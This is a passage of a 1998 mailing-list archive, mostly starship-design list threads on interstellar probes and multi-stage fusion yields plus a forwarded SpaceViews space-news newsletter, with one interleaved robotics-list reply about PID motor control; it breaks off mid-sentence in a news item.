Aug 1998, L. Parker wrote: > >> Gene, >> >> Robert Forward proposed an interstellar probe based on a perforated sail >> design combined with gravity assist and beamed microwave power. The payload >> was to be 4 grams of intelligent microcircuitry embedded within the actual >> structure of the craft - something that is not so far fetched any more - we >> actually know how to do this! >> Forward's calculations showed that we could accelerate starwisp (his name >> for it) to 20 percent of the speed of light within only a few days. This >> would deliver the probe to Alpha Centauri within about twenty years. >> >> You must note however, that this is a ""flyby"" at twenty percent of the speed >> of light with a very limited payload and extremely limited data return. It >> may not be very useful, especially in light of what we can potentially see >> from Earth orbit with advanced optics. >> > >Excuse my Ignorance but wouldn't it be possible to Use the target Star's >Gravity to ""swing"" the probe around and into a return orbit to Earth (or >at least close enough to our solar system to be recovered in some way.) > >Just curious... Not at those speeds. When you get up to fractions of light speed, gravity manuvers need close apraoches to a black hole. Kelly >From VM Mon Aug 17 09:31:34 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1609"" ""Sun"" ""16"" ""August"" ""1998"" ""23:24:30"" ""EDT"" ""KellySt@aol.com"" ""KellySt@aol.com"" nil ""55"" ""Re: RE: starship-design: Interstellar Probes"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 1609 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id UAA05481 for starship-design-outgoing; Sun, 16 Aug 1998 20:25:08 -0700 (PDT) Received: from imo30.mx.aol.com (imo30.mx.aol.com [198.81.17.74]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id UAA05475 for ; Sun, 16 Aug 1998 20:25:05 -0700 (PDT) Received: from KellySt@aol.com by imo30.mx.aol.com (IMOv14_b1.1) id 2PVNa12042 for ; Sun, 16 Aug 1998 23:24:30 +2000 (EDT) Message-ID: Mime-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 for Mac sub 79 Precedence: bulk Reply-To: KellySt@aol.com From: KellySt@aol.com Sender: owner-starship-design@lists.uoregon.edu Cc: starship-design@lists.uoregon.edu Subject: Re: RE: starship-design: Interstellar Probes Date: Sun, 16 Aug 1998 23:24:30 EDT In a message dated 8/14/98 4:07:10 PM, lparker@cacaphony.net wrote: >In our discussions, we have been able to pretty much agree that there are > >several viable methods of accelerating a ship up about .3 or maybe even .4 > >c. Unfortunately, these methods almost always rely on some trick which > >cannot be provided at the other end to slow the vehicle down. Simply > >doubling onboard reaction mass or fuel is not the answer. If you do the math > >you will discover that doubling the mass of the vehicle will decrease the > >cruise velocity significantly and drastically increase mission length. > > > >Propulsion wise, what we need as a BARE MINIMUM is a self contained > >accelerate/decelerate capability in the 100,000 m/sec range, or put another > >way, a 200,000 m/sec total change in delta v. This would enable us to reach > >the nearer stars within the lifespan of a single person (but not necessarily > >to return within one person's lifetime.) > > > >I am working from memory here, but I think the best we can currently manage > >is only 200 m/sec, which is quite a bit shy of the minimum. We may be able > >to reach 100,000 m/sec buy combining several different systems i.e. a > >powered perihelion maneuver with a maser sail last stage, but this is again, > >only one way. > > > >Lee > Ah My two concepts used a fuel launcher to boost the ship to speed without internal fuel. or a maaser sail here to accelerate it to speed. Both used onboard fuel to decel it into the target starsystem, and used mined fuel to accelerate it back toward Sol. Round trip time was about 25-30 years. Kelly >From VM Mon Aug 17 09:31:34 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""2406"" ""Mon"" ""17"" ""August"" ""1998"" ""10:21:32"" ""+0200"" ""Bjorn Nilsson"" ""f96bni@student.tdb.uu.se"" nil ""51"" ""Re: starship-design: Staged Fusion Power"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 2406 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id BAA22135 for starship-design-outgoing; Mon, 17 Aug 1998 01:21:43 -0700 (PDT) Received: from sabik.tdb.uu.se (JVyJo18ZuqqtnPu3hY+vzAWz2lBQ+ZVt@sabik.tdb.uu.se [130.238.138.70]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id BAA22130 for ; Mon, 17 Aug 1998 01:21:40 -0700 (PDT) Received: from localhost (f96bni@localhost) by sabik.tdb.uu.se (8.8.8/8.8.8/STUD_1.1) with SMTP id KAA07773; Mon, 17 Aug 1998 10:21:32 +0200 (MET DST) X-Sender: f96bni@sabik.tdb.uu.se In-Reply-To: <13783.37290.295518.490793@tzadkiel.efn.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: bulk Reply-To: Bjorn Nilsson From: Bjorn Nilsson Sender: owner-starship-design@lists.uoregon.edu To: Steve VanDevender cc: starship design Subject: Re: starship-design: Staged Fusion Power Date: Mon, 17 Aug 1998 10:21:32 +0200 (MET DST) On Sun, 16 Aug 1998, Steve VanDevender wrote: > Zach Johnson writes: > > N. Lindberg wrote: > > > > > I was reading some of the numbers for the various engines that > > > could be used to power a starship, and I noticed that every fusion > > > reaction shown only used its fuel once. If a closed powerplant (not > > > rocket) could be run hot enough, there's no reason I can see not to run > > > the fuel up to heavier elements instead of just throwing it away after it > > > turns to helium. Note: I didn't do any math for this one, it might be > > > impractical. Although I realize that a scheme like this would require > > > reactors far superior to a today's can't-quite-ignite tokamaks, it might > > > be doable in fifty years. The power from this type of reactor could be > > > used to power a laser or ion drive, the latter prehaps adding the > > > reactor exhaust to the Xenon reaction mass. > > > The upshot is, exhaust recycling could reduce the amount of fuel > > > required by which is one of the major hurdles of starflight. > > > Best Regards, > > > Nels Lindberg > > > > Could you combine fusion and fision to produce a continous reaction? > > Well, conservation of energy says that there has to be some limit > to that. You should also remember that both fission and fusion > conserve nucleons (although beta decay and inverse beta decay may > change a neutron into a proton and electron and neutrino, or vice > versa). So that puts an even more stringent limit on the amount > of energy you could get; no matter what happens, the energy tied > up in the nucleon's masses is never released, only the binding > energy holding them together. > > One problem with a multi-element fusion reactor is that it takes > progressively higher temperatures and pressures to induce fusion > in heavier nuclei. So the cost of fusing the heavier elements > may not be well offset by the additional energy provided. > Actually combining fusion and fission is a total waste... For all elements ligther than Iron (Fe) Fusion produces power and fision costs power... Vice Versa for elements Heavier than Iron. As for using some kinda multi-stage Fusion device I personnaly think that it will both be MUCH simpler (from an engineering POV) and more efficient to just use the fusion products (probably Helium) as reaction mass. Just my 2c Bjorn...",0,0 David Kott ,Darkman ,"Thu, 13 Aug 1998 19:18:39 -0400",Re: PID implementation,"On Wed, 12 Aug 1998, Darkman wrote: > Problem: > > I have built a small robot with differential drive using 3+ACI- diam whee > ls turning at 66 RPM +AEA- full power PWM no load. > > Each wheel has a 16 pulses per rev. reflective type shaft encoder. > the robot is controlled by the Handy Board running IC 3.2. > > I'm fairly new to the robotics field and looking for some info or Tips on > how to accomplish some sort of PID control for this robot. > > I toyed around with different timing ideas to move the robot 1 rev but I > soon found out it's very unreliable type of control due to the fact that > each surface has a different drag coefficient and battery voltage also > makes a big difference. It seems that you have a feedback system here. How does battery voltage and surface resistance add error to your system when you have a feedback loop to correct your error signal? > > Another problem I'm facing is that with the L293D IC's have no brake > capabilities , so once the power to the motor is removed the momentum of > the robot moves the robot past it's target. > No braking? We solved that problem by effecting reverse current through the DC motors we were using for propulsion. A 70ms pulse worked great. We didn't even use any feedback. Any book on modern control systems would detail the basics of a feedback system. Unless you are truly desperate for a very fast system, you wouldn't really have to do any calculations. I would just write up a simple program and experimentally much with the coefficients until you found a stable system that does what you want. A full PID controller might be overkill. Just a simple linear feedback system, in all likelyhood, would suffice. -d The box said ""Requires Windows 95/NT or better""... So I got Unix. Free the Source. Free your Computer... http://www.FreeBSD.org http://www.NetBSD.org http://www.OpenBSD.org ",0,1 Timothy van der Linden ,starship-design@lists.uoregon.edu,"Mon, 17 Aug 1998 14:02:12 +0100",Re: starship-design: Staged Fusion Power,"Hi Nels, Multistaged fusion all the way up to iron should be theoretically possible, but the yield isn't spectacular more than a well chosen single stage: Take: ( I) 1 (2H) + 2 (3He) -> 1 (4He) + 1 (1H) + 18.4 MeV (II) 24 (2H) + 2 (3H) -> 1 (54)Fe + 401.4 MeV 24 (2H) means 24 atoms of Hydrogen, where the Hydrogen has atomic mass 2. Reaction (I) is the most efficient single fusion reaction. Reaction (II) is the short-circuit of the multi stage fusion. The input mass of reaction (I) is 1*2 + 2*3 = 5 The input mass of reaction (II) is 24*2 + 2*3 = 54 So we can repeat reaction (I) 54/5=10.8 times before we've used the same amount of mass as needed for reaction (II). Doing reaction (I) 10.8 times will yield: 10.8*18.4=198.7 MeV So fusing all the way to Iron has a yield (401.4/198.7)=2 times better than fusing merely to light elements. So, all the trouble (eg. higher fusion temperature, unwanted fusion ractions) for a two times higher yield, is likely not worth it. Timothy >From VM Mon Aug 17 09:56:18 1998 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""41944"" ""Sat"" ""15"" ""August"" ""1998"" ""23:10:22"" ""-0500"" ""L. Parker"" ""lparker@cacaphony.net"" nil ""943"" ""starship-design: FW: SpaceViews Update -- 1998 August 15"" ""^From:"" nil nil ""8"" nil nil nil nil nil] nil) Content-Length: 41944 Return-Path: Received: (from majordom@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id JAA28244 for starship-design-outgoing; Mon, 17 Aug 1998 09:41:21 -0700 (PDT) Received: (from stevev@localhost) by darkwing.uoregon.edu (8.8.8/8.8.8) id JAA28229 for starship-design@lists.uoregon.edu; Mon, 17 Aug 1998 09:41:19 -0700 (PDT) Received: from hurricane.gnt.net (root@hurricane.gnt.net [204.49.53.3]) by darkwing.uoregon.edu (8.8.8/8.8.8) with ESMTP id VAA13226 for ; Sat, 15 Aug 1998 21:13:23 -0700 (PDT) Received: from lparker (p239.gnt.com [204.49.89.239]) by hurricane.gnt.net (8.9.0/8.9.0) with SMTP id XAA31577 for ; Sat, 15 Aug 1998 23:13:14 -0500 Message-ID: <000201bdc8cb$ca762aa0$e45931cc@lparker> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook 8.5, Build 4.71.2232.26 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Importance: Normal Precedence: bulk Reply-To: ""L. Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship Design"" Subject: starship-design: FW: SpaceViews Update -- 1998 August 15 Date: Sat, 15 Aug 1998 23:10:22 -0500 -----Original Message----- From: SpaceViews-approval@nss.org [mailto:SpaceViews-approval@nss.org] Sent: Saturday, August 15, 1998 10:33 AM To: undisclosed-recipients:; Subject: SpaceViews Update -- 1998 August 15 S P A C E V I E W S U P D A T E 1998 August 15 http://www.spaceviews.com/1998/0815/ *** Top Stories *** Titan 4 Explodes After Launch SOHO Spacecraft Condition Improves More Delays for the International Space Station? Soyuz Launches Mir Relief Crew *** Technology *** Possible Antenna Problem with Mars Global Surveyor Japanese Docking Experiment Malfunctions Eight ORBCOMM Satellites Launched Boeing, Air Force Test Space Maneuver Vehicle *** Policy *** Senate Approves Commercial Space Act SEC Files Action Against SpaceDev Government Suspends Sea Launch *** Science *** New Studies Cast Doubt on Mars Life Claims Two Earth-Crossing Asteroids Discovered *** CyberSpace *** CyberSpace Reviews CD-ROM Review: ""Russians in Space"" *** Space Capsules *** SpaceViews Event Horizon Other News Editor's Note: We Will be switching over to a new mail list service later this month, so that we can better meet the needs of our growing number of subscribers. Because of this, you may have problems trying to unsubscribe or resubscribe in the next couple weeks. If you have any problems, please contact me at jeff@spaceviews.com. Our next issue will be published on September 1. Regards, Jeff Foust Editor, SpaceViews ============= *** Top Stories *** Titan 4 Explodes After Launch An Air Force Titan 4A booster exploded less than a minute after liftoff early Wednesday, August 12, scattering debris into the Atlantic Ocean off the coast from Cape Canaveral, Florida. The booster, carrying a classified military payload, exploded 42 seconds after its 7:30 am EDT (1130 UT) launch. Debris from the explosion fell into the Atlantic Ocean. No injuries or damage were reported. According to the Air Force, the Titan 4A began to self-destruct 42 seconds into the flight. Range safety officers, charged with preventing the rocket from going off course and threatening lives and property, destroyed the rocket two seconds later. The force of the explosion was powerful enough to set off car alarms in the city of Cocoa Beach, well south of the Cape Canaveral launch site, the Associated Press reported. A toxic cloud of fumes from the Titan 4's propellant did form, but drifted northeast away from land and dissipated, Florida Today reported. There was no danger to anyone from the cloud. The launch had been delayed by 90 minutes because of fueling problems. While classified, analysts believe the booster was carrying a signals intelligence satellites valued at up to $1 billion. The satellite, which would have gone into a geosynchronous orbit, would have been capable of intercepting radio and other communications. It was similar to existing signals inteligence satellites. The Titan 4 explosion is the first for that rocket since a launch explosion 5 years ago at Vandenberg Air Force Base, California. The explosion is the first launch accident at Cape Canaveral since a Delta 2 exploded just a few seconds after launch in January 1997. That explosion caused damage to the launch site and nearby buildings, but no injuries. The launch was the last Titan 4A launch planned. The Air Force will be using the upgraded Titan 4B, a more powerful booster, for future missions. The Titan 4B entered service last year and was used to launch the Cassini mission to Saturn last October. SOHO Spacecraft Condition Improves The health of the Solar and Heliospheric Observatory (SOHO) spacecraft, which was out of contact with ground controllers for six weeks, continues to improve, the European Space Agency reported Tuesday, August 11. Engineers received the first on-board telemetry from SOHO over the weekend, ESA reported, and were able to send SOHO commands directing the spacecraft to transfer power generated by its solar cells to its batteries. ""This is the best news I've heard since we lost contact with SOHO on 25 June,"" said Roger Bonnet, ESA science director. ""I never gave up hope of some recovery of this fantastic mission. We should just hope that the damage sustained by SOHO's enforced period of deep freeze does not affect the scientific payload too much."" Ground controllers first detected signals from SOHO on August 3, the first time the spacecraft was heard from since it went out of contact late June 24. No telemetry was included with those signals, but contact with SOHO over the weekend included information on the voltages and temperatures of the instruments onboard the spacecraft. ""I am truly satisfied with the information the data we acquired gives us,"" said Francis Vanderbussche, in charge of the SOHO recovery team. ""Conditions on-board are as good as we expected them to be"". Ground controllers instructed SOHO to fully charge its onboard batteries, so it can begin to thaw out its supply of hydrazine fuel used for attitude control. Once thawed, engineers hope to be able to stabilize the slowly-spinning spacecraft. They expect the batteries to be fully charged later this week. NASA's Deep Space Network has declared a ""Spacecraft Emergency"", giving 24-hours-a-day coverage of SOHO over other missions, so engineers can continue to monitor SOHO's status. Contact was lost with SOHO on the evening of June 24. A preliminary investigation indicates that a combination of errors in preprogrammed ground sequences sent to SOHO, combined with the decision by ground controllers to send a command to the spacecraft after receiving ""unexpected"" telemetry readings. SOHO is a joint ESA/NASA mission to study the Sun from the Earth-Sun L1 Lagrange point, 1.5 million kilometers (900,000 miles) Sunward of the Earth. It was launched in December 1995 and completed its nominal two-year mission in April of this year. More Delays for the International Space Station? While NASA Administrator Dan Goldin told members of the House Science Committee Wednesday, August 5, that the International Space Station was on track for its first launches this fall, sources within the space agency indicate that the station may be delayed yet again, for up to six months. Acknowledging Russian funding shortfalls, Goldin said plans were underway to modify the shuttle's maneuvering thrusters to allow it reboost the station, a task originally planned for Russian spacecraft, while a Clinton Administration budget official said non-station shuttle flights might be cancelled to cover station cost overruns. A number of reports, including public Internet postings from people at or with contacts at NASA, have claimed that internal NASA schedules have pushed back the launch of the first station elements to April 1999, with the service module pushed back from April to September or October of 1999. While Goldin made no mention of planned delays in the launch schedule in Congressional testimony, he did mention the possibility of future delays. Noting the problems the Russian Space Agency (RSA) has had getting money from the Russian government, he said, ""NASA is concerned that the shortfall in funding available to RSA places the scheduled April 1999 launch date of the Russian Service Module at some risk."" If true, it would be yet another delay for the station, whose first elements were originally planned for launch last fall. Those launches were delayed first to this summer, then to this November and December, because of problems with the Russian Service Module. According to Goldin, the first station elements are ready for launch as currently scheduled. A Russian Proton booster is set to launch the Zarya (""Sunrise"") control module in November, followed by a December launch of shuttle mission STS-88 to deliver the Unity docking node. Goldin acknowledged other problems with the Russian space program, including that production of Soyuz and Progress spacecraft ""has virtually ceased"" because of a lack of parts. Soyuz spacecraft are scheduled to deliver some crews to the station and serve as a lifeboat in the event of an emergency on the station, while unmanned Progress vehicles would deliver supplies. The Progress vehicles would also periodically reboost the station, whose orbit would be gradually lowered by drag from the tenuous atmosphere is passed through. Goldin said plans are underway to modify the shuttles' maneuvering thrusters to reboost the station, reducing the need for Progress spacecraft. Jacob Lew, the new director of the Office of Management and Budget (OMB), told committee members that the Clinton Administration would first seek to cover space station cost overruns from other sections of the NASA budget related to human space flight, rather than other science and research programs. ""We will look for offsets first from within the $6 billion spent annually in the Human Space Flight account, as long as they do not compromise Shuttle safety,"" Lew said. Such a decision would imply that shuttle flights unrelated to the station could be cancelled. While most shuttle launches during the ISS assembly period are dedicated to the station, a small number -- mostly involving the orbiter Columbia, which is too heavy to loft space station components -- will be dedicated to microgravity, remote sensing, and other missions, including reservicing visits to the Hubble Space Telescope. Member of the committee were skeptical such a plan could work. ""I don't believe you can get the money you need by canceling shuttle flights or continuing to raid the shuttle budget,"" Rep. Dave Weldon (R-FL) said. Rep. Dana Rohrabacher (R-CA) was more blunt. ""After hearing your review of these costs, I wonder what planet you've been on."" Soyuz Launches Mir Relief Crew A Russian Soyuz spacecraft carrying a replacement crew for the Mir space station, as well as a visiting former bureaucrat, lifted off early Thursday, August 13. Soyuz TM-28 lifted off at 5:43 am EDT (0943 UT) from the Baikonur Cosmodrome in Kazakhstan. The launch proceeded normally and the Soyuz is scheduled to dock with Mir on Saturday, August 15. An unmanned Progress cargo spacecraft undocked with Mir on August 12 to allow the Soyuz to dock with Mir. On board the Soyuz are two cosmonauts, commander Gennady Padalka and engineer Sergei Avdeyev, who will relieve the current Mir crew of Talgat Musabayev and Nikolai Budarin, who have been on Mir for six months. Also on board is Nikolai Baturin, a former aide to Russian president Boris Yeltsin. Baturin was originally named to the crew to report on the status of Mir to Yeltsin, but since being removed from his post earlier this year his post-mission plans are uncertain. Baturin will return to Earth with Musabayev and Budarin in Soyuz TM-27, the Soyuz craft currently docked with Mir, after spending 12 days in space. The launch of TM-28 was scheduled for August 3, but was delayed by ten days last month when power and water were shut down to the Baikonur launch site. Unpaid bills, caused by a lack of funding from the Russian government, caused the utility shutdown. This launch was funded by credit extended from a Russian bank. Padalka and Avdeyev will be the next-to-last crew to fly Mir. A relief crew, likely to include one Russian cosmonaut and French and Slovak guest cosmonauts, will fly to the station in early 1999. One or more members of that crew will stay on Mir until mid-1999, when the station is abandoned and reenters the Earth's atmosphere. *** Technology *** Possible Antenna Problem with Mars Global Surveyor A potential problem with the extension mechanism of the high-gain antenna on Mars Global Surveyor (MGS) may delay its deployment next year by up to nine months, impacting the science data returned by the spacecraft, NASA reported Monday, August 10. Engineers believe air bubbles may have formed in viscous fluid in a damper that is used to cushion a spring used to deploy the antenna, located at the end of a two-meter (6.6-foot) boom. The bubbles would keep the damper from working properly, pushing the boom out at high speed before the damper would have any effect. Such a deployment could damage or disable the antenna. ""To the best of our knowledge, we could deploy the antenna boom without any adverse effect,"" said MGS project manager Glenn Cunningham. ""However, the forces that the damper and boom would be subjected to as a result of the bubble formation are close enough to the maximum force that they are designed to withstand that we want to take a cautious approach in evaluating the deployment."" The antenna is in use now, folded up on the side of the spacecraft. The spacecraft must be turned in order for the antenna to send and receive data, interrupting science observations. Engineers plan to deploy the antenna boom in March 1999, when the spacecraft entered its final orbit after aerobraking. The deployed boom will allow the spacecraft to maintain contact with Earth while continuing observations of Mars. MGS team members are now considering delaying the deployment to after December 1999, when the Mars Polar Lander and Deep Space 2 land on Mars. Deep Space 2, a small ""hitchhiker"" payload on the lander, will penetrate into the Martian surface and rely on MGS as its only communication link with Earth. If the antenna remains undeployed after March 1999, some science data could not be returned because of the limited communications with Earth. A NASA statement said an estimated 40 percent of the original data would be returned in the first 30 days of observations from its final mapping orbit if the antenna remained undeployed. That figure could be increased, though, through the use of larger receiver antennae on Earth. No decision on antenna deployment will be made before February 1999, Cunningham said. ""We have not made any decisions yet, but we want to take a conservative approach in order to protect the mission as fully as possible,"" he said. The problem is not the first for MGS. The aerobraking procedure was delayed by damage to a hinge on one of its solar panels, causing it to bend beyond its design limits during aerobraking passes in the Martian upper atmosphere. The problem was corrected by slowing down the aerobraking, delaying the insertion of MGS into its mapping orbit by one year to March 1999. Japanese Docking Experiment Malfunctions The second experiment in automated rendezvous and docking between two Japanese spacecraft failed Friday, August 7, and a second attempt to bring the two spacecraft together failed a week later. The two sections of the Engineering Test Satellite VII (ETS-7) separated early Friday morning, August 7. The 2,540 kg (5,590 lbs.) chaser satellite, named Hikoboshi, moved 525 meters (1,730 feet) from the 410 kg (900 lbs.) target satellite, named Orihime. The two spacecraft then moved back together to redock. However, the two spacecraft apparently became misaligned as they attempted to redock, and one of them entered a safe mode, aborting the docking. An attempt to redock the spacecraft later in the day was foiled when Hikoboshi lost high-speed communications contact temporarily. A second attempt to redock the two spacecraft took place Thursday, August 13, but again failed. A large attitude error in the chaser spacecraft, caused by the inproper operation of the jet thrusters on the spacecraft, was blamed for the failure, Japanese engineers said. Engineers originally said the smaller Orihime satellite had only enough power to last 72 hours while undocked from Hikoboshi. Hikoboshi provides power to both satellites while docked. However, both spacecraft seem to have enough power to continue redocking after being separated over a week. The two spacecraft successfully undocked and redocked in July, after separating by a distance of 2 meters (6.6 feet). Future experiments planned to redock the two spacecraft from separations as large as 9 kilometers (5.6 miles). The spacecraft, launched last November, is designed to test automated docking procedures for future use on the International Space Station. The names of the two ETS-7 spacecraft come from an old Japanese tale, where the princess Orihime and her lover Hikoboshi were allowed to meet only once a year. Eight ORBCOMM Satellites Launched A Pegasus XL booster launched eight ORBCOMM communications satellites into low-Earth orbit Sunday, August 2, bringing the global messaging service system more than halfway to completion. The Orbital Sciences Corporation (OSC) Pegasus XL was dropped from its L-1011 carrier aircraft at 12:24pm EDT (1624 UT) August 2, while flying over the Atlantic Ocean east of Wallops Island, Virginia. OSC reported August 3 that all eight satellites launched by the Pegasus appeared to be operating normally. The satellites, placed in an orbit 825 kilometers (510 miles) above the Earth at an inclination of 45 degrees, join twelve others previously launched. The new satellites will undergo several months of tests before going into commercial service, OSC said. Each satellite in the system weights about 40 kg (90 lbs.) and has an eight-year lifetime. When completed, the 36-satellite constellation will provide a low-cost system for sending short messages worldwide. The addition of the eight satellites will increase the total availability of the current system from 9 to 17 hours a day. The next group of eight ORBCOMM satellites will complete factory testing over the next several weeks. They are scheduled for launch on a Pegasus XL off the West Coast in September. Boeing, Air Force Test Space Maneuver Vehicle The U.S. Air Force and Boeing conducted the first flight test August 11 in New Mexico of the X-40A, a prototype of a future reusable Space Maneuver Vehicle. The X-40A was dropped from a helicopter at an altitude of 2,700 meters (9,000 feet). A parachute deployed to stabilize the vehicle, and was jettisoned once the vehicle was in stable flight. The X-40A then glided to a runway landing using satellite navigation. ""I am very pleased with the results of this flight test,"" said John Fuller, Boeing project manager. ""We wanted to validate low-speed handling qualities and demonstrate autonomous approach and landing capability. We did that today."" The X-40A is a scale model of the Space Maneuver Vehicle (SMV), a proposed reusable spacecraft that would deliver satellite payloads, perform on-orbit reconnaissance, and other duties. With a wingspan of 3.6 meters (12 feet) and a fuselage length of 6.7 meters (22 feet), the X-40A is 90 percent the size of the SMV. The SMV would be launched into orbit on another rocket, and could stay in orbit for up to a year to perform its tasks. It's designed to then return to Earth, where it could be serviced and launched again within 72 hours. Future tests will more fully explore how the X-40A and SMV would fly in the air and in space. ""Our next step will be to demonstrate the vehicle's capabilities, both in the atmosphere and space,"" Fuller said. *** Policy *** Senate Approves Commercial Space Act The U.S. Senate approved late Thursday, July 30, legislation that would open new opportunities for commercial launch firms in the United States. The Commercial Space Act, H.R. 1702, was approved by unanimous consent by the Senate. The bill allows the Federal Aviation Administration (FAA) to license the launch and landing of reusable launch vehicles. Currently the FAA is limited to issuing launch licenses. The bill also mandates the use of commercial launch services for most government payloads, the purchase of space science data from private companies, a study on the commercialization of the International Space Station, and improved licensing regulations for remote sensing satellites. The ability to issue launch and reentry licenses was seen by many analysts as the key section of the bill. With new reusable launch vehicles being developed by private industry, such regulation is critical to permit them to be launched from the United States. In one case, Kistler Aerospace, developer of the K-1 reusable launch vehicle, has planned to launch from Australia instead of the United States, thanks to a regulatory environment more conducive to commercial space ventures. Other launch firms have also considered offshore launch sites. ""Can you imagine the Wright Brothers flight at Kitty Hawk ever being made if the government told them, `Sure you can fly it, just don't land,'"" said Sen. Bob Graham (D-FL), one of the leading supports of the legislation. ""The way the law presently exists, commercial companies can launch but cannot land any vehicle returning from space. Only the U.S. government is allowed this privilege."" ""This is good news for America's commercial space transportation industry, and for the long-term economic and national security of this nation,"" said Charles Miller, president of ProSpace, a grassroots lobbying group that supported H.R. 1702. ""We have been fighting for this legislation for 4 years, and the U.S. Senate was the last major hurdle."" The bill was introduced in the House last year, and was approved there in November. The bill moved over to the Senate side, where it was approved by the Commerce Committee in March. A conference committee will now iron out the differences between the House and Senate versions. ""I expect the House/Senate conference will be concluded quickly this September, and that the President will sign it into law this Fall,"" Miller said. SEC Files Action Against SpaceDev The U.S. Securities and Exchange Commission (SEC) announced Thursday, August 6, that it was requesting action against SpaceDev, Inc., claiming the private space exploration company made ""false and misleading"" statements to the public. SpaceDev, however, denied any wrongdoing and planned to ""vigorously contest"" the planned SEC action. The SEC, in a request for a public hearing with an administrative law judge, said the publicly-traded company made a number of fraudulent statements, including claiming projected revenues of $10 million and earnings of $2 million in 1998, without noting that those numbers required NASA approval of specific projects. The SEC also said the company erroneously claimed it had a deal with NASA for the use of the space agency's Deep Space Network to communicate with SpaceDev's Near Earth Asteroid Prospector (NEAP) spacecraft, scheduled for launch in 2000. Such administrative hearings usually take place within 60 days, Don Hurl, an official with the SEC's Denver office, told SpaceViews, although legal maneuvering can often delay the hearing. No penalties would result from the hearing, Hurl said, as the SEC was only seeking a cease-and-desist order to keep SpaceDev from making claims that are not ""accurate and complete."" Of the about four hundred cases a year the SEC handles, Hurl said, a ""good number"" involve false statements like the SEC's action against SpaceDev. Dan Shea, director of the SEC's Denver office, told the Associated Press that few investors were involved with SpaceDev. ""Some people invested in this, but we caught it very quickly,"" he said. The SEC declined to said how it became aware of SpaceDev's claims, but Hurl told SpaceViews that the SEC generally gets its information from a wide range of sources, including press releases and information posted on the Internet. In a statement issued Friday, August 7, SpaceDev claimed no wrongdoing and planned to fight the SEC. ""While the Company disagrees with the views expressed by the SEC in its Order Instituting Proceedings, the Company had attempted to resolve the issues raised by the SEC through a settlement,"" the statement read. ""The Company now intends to vigorously contest the SEC's allegations."" SpaceDev president and founder Jim Benson told SpaceViews that the SEC's action was comparable to ""shooting at ants with an elephant gun."" He said he was confident that the SEC's case would be dismissed. ""This is a legitimate, hardworking business,"" Benson told the Associated Press. ""This is a serious effort and it's being taken seriously by the scientific community."" SpaceDev is traded on the over-the-counter bulletin board (OTCBB) under symbol SPDV. As of late Wednesday afternoon, August 12, the stock was trading at 1.562, off about 0.25 from its August 7 close. Government Suspends Sea Launch The U.S. State Department has suspended Boeing's license to work with Russian and Ukrainian engineers on the Sea Launch project, effectively bringing the project to a halt just months before its first launch, the Washington Post reported Saturday, August 8. The suspension, which was issued July 27 but not publicly announced, was issued because of lax security Boeing had in its communications between American and Russian and Ukrainian engineers. The Post reported that a government official said the suspension would be lifted once the government's security concerns are met. Russian and Ukrainian engineers working at Sea Launch's offices in Long Beach, California, have left for home in the last few days because of the suspension. The suspension comes at a time when American dealings with foreign companies has come under intense scrutiny, stemming from reports that Chinese officials obtained restricted technical information from an American company in the aftermath of a 1996 explosion of a Chinese booster carrying an American satellite. The Post article said Boeing officials were ill-prepared to deal with the restrictions required by the State Department on communications with Russian and Ukrainian engineers. Boeing might not have been aware of some of the regulations, one industry executive told the Post. A Boeing spokesman said the problems existed from the inception of the project in 1995 through early 1997, when the company brought in additional experts to deal with the flow of technical information. The Sea Launch project is a multinational venture headed up by Boeing to launch payloads from a portable launch site in the ocean. The Ukrainian company KB Yuzhnoye/PO Yuzhmash provides the Zenit booster and Russia's RSC Energia provides an upper stage for the Zenit. Norway's Kvaerner Maritime built the command ship and launch platform, a converted oil-drilling rig. Boeing serves as the ""system integrator"" for the project. Sea Launch was slated to launch its first booster late this year. The launch will take place in on the Equator in the Pacific, south of Hawaii. Launches from the Equator get the maximum push from the Earth's rotation, requiring less energy from the booster to reach orbit. *** Science *** New Studies Cast Doubt on Mars Life Claims Several independent new studies published this week have added their voices to the growing doubts that a Martian meteorite contains evidence of past Martian life. The work, much of it published in the current issue of the journal Meteoritics and Planetary Sciences, attacks the two-year-old claims of Martian life in meteorite ALH 84001 on several fronts, from the temperature of formation of the meteorite to the shapes of the ""nanofossils"" seen within it. Researchers at the University of Hawaii reported that studies of carbonate crystals seen in the meteorite show the carbonates formed at high temperatures, not low ones as required for them to be a product of biological processes. Studies of various carbonate crystals under electron and optical microscopes show the disk-shaped carbonates were squeezed in and completely enclosed by rock. This is consistent with their formation from a hot liquid that passed through fissured in the rock, and not with percolation of a low-temperature liquid through the rock. Another group at the University of Arkansas studied a number of Martian and lunar meteorites under a scanning microscope. They found a number of structures in the lunar meteorites that were indistinguishable from features claimed to be ""nanofossils"" in ALH 84001. Since the Moon has likely been inhospitable to life throughout its history, it casts doubt on claims that the Martian features as fossils of tiny bacteria. Meanwhile, in a paper published in the August 14 issue of Science, a team at the University of Massachusetts has found that a chemical reaction used to explain the existence of microbes deep under the Earth and possible on Mars is not feasible. Scientists had believed that the formation of hydrogen gas in basalt deep underground could support microbes. However, the Massachusetts group found that hydrogen is not formed under those conditions, depriving microbes of a key energy source. The studies are some of many recent assaults on the claim, first announced in August 1996, that ALH 84001 contains evidence of Mars life. While the original team of scientists from NASA's Johnson Space Center and Stanford University continue to believe their claims, an increasing number of scientists are voicing their doubts. ""The evidence against life in the Martian meteorite has been steadily accumulating during the past year,"" said Ed Scott of 